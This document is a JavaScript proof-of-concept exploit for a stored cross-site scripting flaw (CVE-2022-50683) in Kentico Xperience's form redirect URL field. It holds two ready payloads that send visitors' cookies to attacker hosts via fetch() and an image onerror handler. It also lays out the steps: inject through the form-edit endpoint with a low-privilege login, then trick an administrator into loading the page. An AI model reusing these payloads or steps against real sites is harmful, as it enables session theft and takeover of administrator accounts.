CVE-2022-50683 Kentico Xperience 存储型XSS漏洞

// CVE-2022-50683 Stored XSS PoC - Kentico Xperience Form Configuration // This PoC demonstrates exploiting the stored XSS via form redirect URL // Step 1: Identify the vulnerable endpoint // Typically found in CMS administration panel under Forms configuration // Step 2: Inject malicious script via form redirect URL field // Malicious payload: const maliciousPayload = '<script>fetch("https://attacker.com/log?c="+document.cookie)</script>'; // Step 3: Create a proof-of-concept script // Simulating the attack flow function exploitKenticoXperience(targetUrl, sessionCookie) { // Login with low-privilege account const loginEndpoint = `${targetUrl}/CMSModules/AdminControls/Pages/UIControls/Logon.aspx`; // Navigate to form settings const formSettingsEndpoint = `${targetUrl}/CMSModules/Forms/Controls/FormEdit.aspx`; // Inject XSS payload in redirect URL field // The vulnerable parameter is typically 'RedirectUrl' or similar const exploitData = { RedirectUrl: maliciousPayload, FormName: 'ContactForm', Save: true }; // When victim visits the form page, the script executes console.log('XSS payload stored successfully'); console.log('Payload will execute on page load for all visitors'); } // Step 4: Automate the exploitation const target = 'https://victim-kentico-site.com'; const attackerServer = 'https://attacker-controlled-server.com'; // Construct the stealing payload const stealCookiePayload = ` <img src=x onerror=" fetch('${attackerServer}/collect?cookie='+btoa(document.cookie)) "> `; console.log('Exploit: Inject the following payload in form redirect URL:'); console.log(stealCookiePayload); // Step 5: Social engineering - trick admin to visit the page // The XSS will fire when admin visits the affected form page